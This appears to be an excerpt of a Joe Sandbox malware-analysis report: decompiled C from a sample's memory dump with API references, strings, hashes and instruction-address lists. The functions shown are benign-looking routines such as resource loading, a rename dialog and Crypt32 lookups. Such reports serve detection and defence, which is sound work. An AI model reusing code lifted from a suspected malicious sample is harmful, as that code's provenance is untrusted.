0x00871a43
0x00871a45
0x00871a4e
0x00871a4e
0x00871a50
0x00871a51
0x00871a56
0x00871a5f
0x00871a60
0x00871a66
0x00871a6b
0x00871a6e
0x00871a70
0x00871a89
0x00871a89
0x00871a8b
0x00871a92
0x00871a97
0x00000000
0x00871a8b
0x00871a72
0x00871a72
0x00871a77
0x00871a79
0x00871a7b
0x00871a7b
0x00871a7d
0x00871a7d
0x00871a80
0x00871a82
0x00871a87
0x00871a88
0x00000000
0x00871a88
0x00000000
0x00871a9d
0x00871a9d
0x00871a9f
0x00871aaf
0x00871aaf
0x00000000
0x00000000
0x00871aba
0x00871aba
0x00871abc
0x00000000
0x00000000
0x00871ac2
0x00871ac2
0x00871ac9
0x00000000
0x00000000
0x00871acf
0x00871acf
0x00871ad1
0x00871ad7
0x00871ad9
0x00871ae0
0x00871ae1
0x00871ae8
0x00871aea
0x00871aea
0x00871af1
0x00871af6
0x00871afc
0x00871afe
0x00000000
0x00871b04
0x00871b04
0x00871b04
0x00871b07
0x00871b09
0x00871b0a
0x00871b0d
0x00871b36
0x00871b36
0x00871b39
0x00871c1e
0x00871c27
0x00871c2c
0x00871c2c
0x00871c2e
0x00871c2e
0x00871c30
0x00871c32
0x00871c39
0x00871c3e
0x00871c3f
0x00871c40
0x00871c42
0x00871c44
0x00871c48
0x00871c4a
0x00871c4a
0x00871c4c
0x00871c4c
0x00871c48
0x00871c50
0x00871c56
0x00871c63
0x00871c6a
0x00871c7a
0x00871c84
0x00871c92
0x00871c98
0x00871ca0
0x00871ca5
0x00871ca6
0x00871ca7
0x00871ca9
0x00871cbd
0x00871cbd
0x00000000
0x00871ca9
0x00871b3f
0x00871b3f
0x00871b42
0x00871b4f
0x00871b4f
0x00871b52
0x00871b54
0x00871b55
0x00871b57
0x00871b58
0x00871b5d
0x00871b62
0x00871b68
0x00871b6a
0x00871b6c
0x00871b6f
0x00871b76
0x00871b77
0x00871b7d
0x00871b7e
0x00871b81
0x00871b82
0x00871b83
0x00871b88
0x00871b8b
0x00871b91
0x00871b9a
0x00871b9d
0x00871ba2
0x00871ba4
0x00871ba6
0x00871ba8
0x00871ba8
0x00871baa
0x00871baa
0x00871bac
0x00871bac
0x00871bb4
0x00871bbb
0x00871bbd
0x00871bc4
0x00871bca
0x00871bcc
0x00871bcd
0x00871bd5
0x00871be4
0x00871be4
0x00871bd5
0x00871bef
0x00871bf1
0x00871c00
0x00871c06
0x00871c0c
0x00871c17
0x00871c17
0x00000000
0x00871c0c
0x00871b44
0x00871b44
0x00871b49
0x00000000
0x00000000
0x00000000
0x00871b49
0x00871b0f
0x00871b0f
0x00871b13
0x00000000
0x00000000
0x00871b15
0x00871b15
0x00871b18
0x00871b1a
0x00871b1d
0x00000000
0x00000000
0x00871b23
0x00871b2c
0x00000000
0x00871b2c
0x00000000
0x00871cc8
0x00871cc8
0x00871cc9
0x00871cce
0x00871cd0
0x00871cd3
0x00871cd3
0x00000000
0x00871d09
0x00871d09
0x00871d10
0x00871d12
0x00871d12
0x00871d14
0x00871d43
0x00871d43
0x00871d49
0x00000000
0x00871d49
0x00871d16
0x00871d16
0x00871d16
0x00871d19
0x00871d32
0x00871d32
0x00871d38
0x00871d38
0x00000000
0x00871d38
0x00871d1b
0x00871d1b
0x00871d1b
0x00871d1e
0x00000000
0x00000000
0x00871d20
0x00871d20
0x00871d20
0x00871d23
0x00000000
0x00000000
0x00871d29
0x00871d29
0x00000000
0x00000000
0x00000000
0x00000000
0x00871ec5
0x00871ec5
0x00871ec8
0x00872047
0x00872047
0x0087204a
0x00872050
0x00872056
0x00872058
0x00872058
0x00872062
0x00872062
0x00000000
0x0087204a
0x00871ece
0x00871ece
0x00871ed4
0x00871ee2
0x00871ee9
0x00871eee
0x00871ef0
0x00871ef2
0x00871ef7
0x00871ef7
0x00871ef7
0x00871f0f
0x00871f1c
0x00871f21
0x00871f23
0x00000000
0x00000000
0x00871ef5
0x00871ef5
0x00871ef5
0x00871ef6
0x00871ef6
0x00871f25
0x00871f2f
0x00871f35
0x00871f3c
0x00000000
0x00000000
0x00871f42
0x00871f42
0x00871f48
0x00000000
0x00000000
0x00871f4e
0x00871f4e
0x00871f50
0x00871f57
0x00871f5d
0x00871f5f
0x00871f60
0x00871f65
0x00871f66
0x00871f67
0x00871f69
0x00871fb9
0x00871fb9
0x00871fc0
0x00871fce
0x00871fdf
0x00871fed
0x00871fed
0x00871ff9
0x00871ffe
0x00872000
0x00872010
0x0087201a
0x0087201f
0x00872022
0x0087202d
0x0087202f
0x00872036
0x0087203c
0x0087203c
0x00000000
0x00872022
0x00871f6b
0x00871f6b
0x00871f72
0x00871f74
0x00871f77
0x00000000
0x00000000
0x00871f79
0x00871f79
0x00871f7c
0x00871f7c
0x00871f7c
0x00871f80
0x00000000
0x00000000
0x00871f82
0x00871f82
0x00871f8a
0x00871f8b
0x00871f8d
0x00871f90
0x00000000
0x00000000
0x00871f92
0x00000000
0x00871f92
0x00871f94
0x00871f9f
0x00871faa
0x00871faf
0x00871faf
0x00871fb1
0x00000000
0x00000000
0x0087206e
0x0087206e
0x00872071
0x00872073
0x0087207a
0x0087207c
0x00872082
0x00872083
0x00872088
0x00872089
0x00872089
0x0087208e
0x00872091
0x00872097
0x00872097
0x0087209c
0x00000000
0x00000000
0x008720a8
0x008720a8
0x008720ab
0x00000000
0x00000000
0x008720b1
0x008720b1
0x008720b3
0x008720ba
0x008720c2
0x008720c8
0x008720cb
0x008720ee
0x008720f5
0x008720cd
0x008720cd
0x008720d0
0x008720e0
0x008720e7
0x008720d2
0x008720d2
0x008720d9
0x008720d9
0x008720d0
0x008720fa
0x00872108
0x0087210d
0x0087210f
0x00872116
0x00872125
0x0087212c
0x00872131
0x00872133
0x00872134
0x0087213b
0x00872187
0x0087218e
0x00872193
0x00872195
0x00000000
0x00000000
0x0087219b
0x0087219b
0x008721a2
0x008721a8
0x008721aa
0x008721ad
0x0087225f
0x0087225f
0x00000000
0x0087225f
0x008721b3
0x008721b3
0x008721b6
0x008721b6
0x008721b6
0x008721b8
0x008721b9
0x008721bc
0x008721c6
0x008721c6
0x008721c8
0x008721d2
0x008721d7
0x008721d9
0x0087223b
0x0087223b
0x00000000
0x0087223b
0x008721db
0x008721e2
0x008721e8
0x008721ed
0x008721ef
0x00000000
0x00000000
0x008721f1
0x008721f1
0x008721f3
0x008721f4
0x008721f7
0x008721f9
0x008721fc
0x00872212
0x00872212
0x00872214
0x00872216
0x0087221c
0x0087221c
0x0087221c
0x0087221f
0x00000000
0x00000000
0x00872219
0x00872219
0x00872219
0x00872219
0x00872221
0x00872221
0x00872227
0x00872229
0x0087222e
0x00872231
0x00872236
0x00000000
0x00872236
0x008721fe
0x008721fe
0x00872205
0x0087220a
0x00000000
0x0087220a
0x008721be
0x008721be
0x008721c0
0x008721c1
0x008721c4
0x00000000
0x00000000
0x00000000
0x0087223e
0x0087223e
0x00872241
0x00872244
0x00872246
0x00872246
0x0087224f
0x00872254
0x00872256
0x00872258
0x0087225a
0x0087225a
0x00000000
0x0087213d
0x0087213d
0x00872145
0x00872151
0x00872157
0x00872158
0x00872159
0x0087215e
0x0087215f
0x00872160
0x00872162
0x00872168
0x0087216a
0x0087217d
0x0087217d
0x00872264
0x00872264
0x0087226c
0x00872276
0x0087227d
0x0087227d
0x0087228a
0x00872291
0x00872296
0x0087229e
0x008722aa
0x008722aa
0x008722b7
0x008722bc
0x008722c4
0x008722ce
0x008722db
0x008722e2
0x008722e2
0x008722ef
0x008722f6
0x008722fb
0x00872303
0x00872309
0x0087230b
0x0087230b
0x00872320
0x00872325
0x00872331
0x00872333
0x00872344
0x00872351
0x00000000
0x00872335
0x00872335
0x00872340
0x00872342
0x00872356
0x00872356
0x00872362
0x0087236f
0x0087237b
0x00872382
0x00872387
0x0087238e
0x00872394
0x0087239b
0x008723a1
0x008723a8
0x008723aa
0x008723ac
0x008723ae
0x008723b0
0x008723b6
0x008723b8
0x008723ba
0x008723bc
0x008723c2
0x008723c4
0x008723ce
0x008723d1
0x008723d7
0x008723e6
0x008723eb
0x008723f2
0x008723f4
0x008723f5
0x008723fb
0x008723fc
0x008723fe
0x00872403
0x00872403
0x00000000
0x008723f2
0x00000000
0x00872342
0x00872333
0x00000000
0x0087240b
0x0087240b
0x0087240e
0x00872410
0x00872410
0x00000000
0x00000000
0x00871d55
0x00871d55
0x00871d5d
0x00871d63
0x00871d66
0x00871d8a
0x00871d68
0x00871d68
0x00871d6b
0x00871d7e
0x00871d6d
0x00871d6d
0x00871d6f
0x00871d74
0x00871d74
0x00871d6b
0x00000000
0x00000000
0x00871e9b
0x00871e9b
0x00871e9c
0x00871ea1
0x00871ea1
0x00871ea1
0x00871ea4
0x00871ea9
0x00871eaf
0x00871eaf
0x00871ebb
0x00871ebb
0x00000000
0x00000000
0x008717e0
0x008717e0
0x008717e5
0x008717e6
0x008717e7
0x008717ec
0x008717f2
0x008717f5
0x00000000
0x008717f7
0x008717f7
0x00000000
0x008717f7
0x008717f5
0x00872448
0x0087244e
0x00872456
0x00872456
0x00871e80
0x00871e83
0x00000000
0x00000000
0x00871e89
0x00871e8b
0x00871e8c
0x00871e8c
0x00871e8d
0x00871e8e
0x00871e91
0x00000000
0x00871e91
0x00871e69
0x00871e6c
0x00000000
0x00000000
0x00871e72
0x00871e72
0x00000000
0x00871e72

APIs

_wcschr.LIBVCRUNTIME ref: 00871DC2

Part of subcall function 008700F6: _wcschr.LIBVCRUNTIME ref: 00870191

Part of subcall function 00867D24: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00862FEC,?,?,?,00862F99,?,-00000002,?,00000000,?), ref: 00867D3A

Strings

HIDE, xrefs: 00871E04
<, xrefs: 00871DA6
MIN, xrefs: 00871E33
MAX, xrefs: 00871E17

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcschr$CompareString
String ID: <$HIDE$MAX$MIN
API String ID: 69343711-3358265660
Opcode ID: beda55640f452543054b9e725faa018e4e4ad51a1ab473883feda547cdff8b06
Instruction ID: 102fe5716aaf79c36411cb4371c249af671d2a40ce22925e56be5f31d4deeada
Opcode Fuzzy Hash: beda55640f452543054b9e725faa018e4e4ad51a1ab473883feda547cdff8b06
Instruction Fuzzy Hash: 1731CF329002199ADF25DBA8CC45EEF73ACFB14350F00C1A6E909E7184EBB4DE848F61

Uniqueness

Uniqueness Score: -1.00%

Function 00863470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00863470(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				short _t13;
				signed int _t14;
				short* _t19;
				signed int _t20;
				void* _t22;
				signed short* _t26;
				signed int _t28;
				signed int _t30;

				_t19 = _a8;
				_t26 = _a4;
				 *_t19 = 0;
				_t10 = E008636DD(__eflags, _t26);
				_t20 =  *_t26 & 0x0000ffff;
				if(_t10 != 0) {
					return E008639A9(_t19, _a12, L"%c:\\", _t20);
				}
				_t28 = 0x5c;
				__eflags = _t20 - _t28;
				if(_t20 == _t28) {
					__eflags = _t26[1] - _t28;
					if(_t26[1] == _t28) {
						_push(_t28);
						_push( &(_t26[2]));
						_t10 = E008750E0(_t20);
						_pop(_t22);
						__eflags = _t10;
						if(_t10 != 0) {
							_push(_t28);
							_push(_t10 + 2);
							_t13 = E008750E0(_t22);
							__eflags = _t13;
							if(_t13 == 0) {
								_t14 = E00878793(_t26);
							} else {
								_t14 = (_t13 - _t26 >> 1) + 1;
							}
							__eflags = _t14 - _a12;
							asm("sbb esi, esi");
							_t30 = _t28 & _t14;
							E0087A8D0(_t19, _t26, _t30);
							_t10 = 0;
							__eflags = 0;
							 *((short*)(_t19 + _t30 * 2)) = 0;
						}
					}
				}
				return _t10;
			}

0x00863471
0x00863478
0x0086347d
0x00863480
0x00863485
0x0086348a
0x00000000
0x0086349c
0x008634a4
0x008634a5
0x008634a8
0x008634aa
0x008634ae
0x008634b3
0x008634b4
0x008634b5
0x008634bb
0x008634bc
0x008634be
0x008634c3
0x008634c4
0x008634c5
0x008634cc
0x008634ce
0x008634d8
0x008634d0
0x008634d4
0x008634d4
0x008634de
0x008634e2
0x008634e4
0x008634e9
0x008634f1
0x008634f1
0x008634f3
0x008634f3
0x008634be
0x008634ae
0x00000000

APIs

_swprintf.LIBCMT ref: 00863497

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

_wcschr.LIBVCRUNTIME ref: 008634B5
_wcschr.LIBVCRUNTIME ref: 008634C5

Strings

%c:\, xrefs: 0086348D

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 837c7558c5ae25c6b64fa595fd300373a0e947ef48ac7f3e089797685752e312
Instruction ID: 3c74b3685fc20ad0bb5032702840e91b912ba56a23b1d300b0a4efada13e2c3b
Opcode Fuzzy Hash: 837c7558c5ae25c6b64fa595fd300373a0e947ef48ac7f3e089797685752e312
Instruction Fuzzy Hash: F70128231087117ADA3177798C87D6BEBACFFA53B0755841EF458C6082EE64DA4082B7

Uniqueness

Uniqueness Score: -1.00%

Function 0087071D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087071D(void* __ecx, void* __edx, void* __fp0) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				void* _t13;
				void* _t15;
				signed int _t20;
				signed int _t21;
				void* _t23;
				void* _t24;
				void* _t28;
				void* _t35;

				_t35 = __fp0;
				_t23 = __edx;
				_t24 = LoadBitmapW( *0x8aea20, 0x65);
				_t21 = _t20 & 0xffffff00 | _t24 == 0x00000000;
				if(_t24 != 0) {
					L2:
					GetObjectW(_t24, 0x18,  &_v28);
					L4:
					if(E0086F7E6(_t31) != 0) {
						if(_t21 != 0) {
							_t28 = E0086F8E2(0x66);
							if(_t28 != 0) {
								DeleteObject(_t24);
								_t24 = _t28;
							}
						}
						_t13 = E0086F825(_v20);
						_t15 = E0086FA2C(_t23, _t35, _t24, E0086F804(_v24), _t13);
						DeleteObject(_t24);
						_t24 = _t15;
					}
					return _t24;
				}
				_t24 = E0086F8E2(0x65);
				_t31 = _t24;
				if(_t24 == 0) {
					_v24 = 0x5d;
					_v20 = 0x12e;
					goto L4;
				}
				goto L2;
			}

0x0087071d
0x0087071d
0x00870733
0x00870737
0x0087073c
0x0087074b
0x00870752
0x00870768
0x0087076f
0x00870774
0x0087077d
0x00870781
0x00870784
0x0087078a
0x0087078a
0x00870781
0x0087078f
0x0087079f
0x008707a7
0x008707ad
0x008707af
0x008707b5
0x008707b5
0x00870745
0x00870747
0x00870749
0x0087075a
0x00870761
0x00000000
0x00870761
0x00000000

APIs

LoadBitmapW.USER32(00000065), ref: 0087072D
GetObjectW.GDI32(00000000,00000018,?), ref: 00870752
DeleteObject.GDI32(00000000), ref: 00870784
DeleteObject.GDI32(00000000), ref: 008707A7

Part of subcall function 0086F8E2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0087077D,00000066), ref: 0086F8F5
Part of subcall function 0086F8E2: SizeofResource.KERNEL32(00000000,?,?,?,0087077D,00000066), ref: 0086F90C
Part of subcall function 0086F8E2: LoadResource.KERNEL32(00000000,?,?,?,0087077D,00000066), ref: 0086F923
Part of subcall function 0086F8E2: LockResource.KERNEL32(00000000,?,?,?,0087077D,00000066), ref: 0086F932
Part of subcall function 0086F8E2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0087077D,00000066), ref: 0086F94D
Part of subcall function 0086F8E2: GlobalLock.KERNEL32 ref: 0086F95E
Part of subcall function 0086F8E2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0086F9C7
Part of subcall function 0086F8E2: GlobalUnlock.KERNEL32(00000000), ref: 0086F9E6
Part of subcall function 0086F8E2: GlobalFree.KERNEL32 ref: 0086F9ED

Strings

], xrefs: 0087075A

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: 8b8c0af0cf9beb478e4e2c1a54fc4de9b301ab951124e61cc522535a83654ba1
Instruction ID: 7c42c807ad7b00bafd38a012cb985a43183602b77f308c97714101c562e6c679
Opcode Fuzzy Hash: 8b8c0af0cf9beb478e4e2c1a54fc4de9b301ab951124e61cc522535a83654ba1
Instruction Fuzzy Hash: 2F012636940A11A7C71137686C49EBF3A7AFF81BA1F150070FA04E7296DB32DC049EA1

Uniqueness

Uniqueness Score: -1.00%

Function 00872640 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00872640(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t12;
				WCHAR* _t16;
				void* _t17;
				intOrPtr _t18;
				void* _t19;
				struct HWND__* _t21;
				signed short _t22;

				_t16 = _a16;
				_t22 = _a12;
				_t21 = _a4;
				_t18 = _a8;
				if(E008611E6(_t17, _t21, _t18, _t22, _t16, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t19 = _t18 - 0x110;
				if(_t19 == 0) {
					 *0x8c62fc = _t16;
					SetDlgItemTextW(_t21, 0x66, _t16);
					SetDlgItemTextW(_t21, 0x68,  *0x8c62fc);
					goto L10;
				}
				if(_t19 != 1) {
					L5:
					return 0;
				}
				_t12 = (_t22 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t21, 0x68,  *0x8c62fc, 0x800);
					_push(1);
					L7:
					EndDialog(_t21, ??);
					goto L10;
				}
				if(_t12 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x00872641
0x00872646
0x0087264b
0x00872650
0x00872668
0x008726ca
0x00000000
0x008726cc
0x0087266a
0x00872670
0x008726af
0x008726b5
0x008726c4
0x00000000
0x008726c4
0x00872675
0x00872684
0x00000000
0x00872684
0x0087267a
0x0087267d
0x008726a1
0x008726a7
0x0087268a
0x0087268b
0x00000000
0x0087268b
0x00872682
0x00872688
0x00000000
0x00872688
0x00000000

APIs

Part of subcall function 008611E6: GetDlgItem.USER32(00000000,00003021), ref: 0086122A
Part of subcall function 008611E6: SetWindowTextW.USER32(00000000,00888574), ref: 00861240

EndDialog.USER32(?,00000001), ref: 0087268B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 008726A1
SetDlgItemTextW.USER32(?,00000066,?), ref: 008726B5
SetDlgItemTextW.USER32(?,00000068), ref: 008726C4

Strings

RENAMEDLG, xrefs: 00872658

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 5f53d2489d8911fe586c806acc282e207190041ee91b255acf494d33301da06e
Instruction ID: 5675225448f693f532922f3b6bfdd9f4084f6405748ed3390457aeb2522c18d8
Opcode Fuzzy Hash: 5f53d2489d8911fe586c806acc282e207190041ee91b255acf494d33301da06e
Instruction Fuzzy Hash: 5A012832781215BBD6105F649C0DF67377CFB6A701F058426F385E10A4C672E811C775

Uniqueness

Uniqueness Score: -1.00%

Function 0087C7B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0087C769,00000003,?,0087C709,00000003,00890A08,0000000C,0087C860,00000003,00000002), ref: 0087C7D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0087C7EB
FreeLibrary.KERNEL32(00000000,?,?,?,0087C769,00000003,?,0087C709,00000003,00890A08,0000000C,0087C860,00000003,00000002,00000000), ref: 0087C80E

Strings

mscoree.dll, xrefs: 0087C7D1
CorExitProcess, xrefs: 0087C7E3

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7c5398d318a51d988856515c2c967c1243af0ed41c3d5024b55d7af812bf5c64
Instruction ID: 40db27ff1847d2f3b63eb735d777496becbeff2f5d985bdf73a6203fdc709d34
Opcode Fuzzy Hash: 7c5398d318a51d988856515c2c967c1243af0ed41c3d5024b55d7af812bf5c64
Instruction Fuzzy Hash: B5F04431550608FBCB116BA4DC09B9EBFB4FF44711F554168F805E6250DF359D45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0086582B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086582B(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t9;

				_t9 = __ecx;
				if(__ecx[1] == 0) {
					_t6 = E00866B47(L"Crypt32.dll");
					 *__ecx = _t6;
					if(_t6 != 0) {
						_t9[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t9, "CryptUnprotectMemory");
						_t9[3] = _t6;
					}
					_t9[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0086582c
0x00865832
0x00865839
0x0086583e
0x00865842
0x00865857
0x0086585a
0x00865860
0x00865860
0x00865863
0x00000000
0x00865863
0x00865868

APIs

Part of subcall function 00866B47: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00866B62
Part of subcall function 00866B47: LoadLibraryW.KERNELBASE(?,?,0086583E,Crypt32.dll,00000000,008658C2,?,?,008658A4,?,?,?,?), ref: 00866B84

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0086584A
GetProcAddress.KERNEL32(0089CFE8,CryptUnprotectMemory), ref: 0086585A

Strings

Crypt32.dll, xrefs: 00865834
CryptUnprotectMemory, xrefs: 00865850
CryptProtectMemory, xrefs: 00865844

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 4b4a32316e8863ff6ce66bea0ea4230dd9e36c8c8c8127b3726b18fe50a3ba48
Instruction ID: 1286fca5750953ac5e91aecaac3f3a0840904c83af5c31e39d3b15eea25b5b82
Opcode Fuzzy Hash: 4b4a32316e8863ff6ce66bea0ea4230dd9e36c8c8c8127b3726b18fe50a3ba48
Instruction Fuzzy Hash: 98E04670840F42DEC7607BB9A848B42BAE4FF24710F55882DA1E6D7A41DEB9E4808B50

Uniqueness

Uniqueness Score: -1.00%

Function 0086F883 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086F883() {
				struct HDC__* _t1;
				struct HDC__* _t5;

				_t1 = GetDC(0);
				_t5 = _t1;
				if(_t5 != 0) {
					 *0x8ae9f8 = GetDeviceCaps(_t5, 0x58);
					 *0x8ae9fc = GetDeviceCaps(_t5, 0x5a);
					return ReleaseDC(0, _t5);
				}
				return _t1;
			}

0x0086f886
0x0086f88c
0x0086f890
0x0086f89e
0x0086f8ac
0x00000000
0x0086f8b1
0x0086f8b8

APIs

GetDC.USER32(00000000), ref: 0086F886
GetDeviceCaps.GDI32(00000000,00000058), ref: 0086F895
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0086F8A3
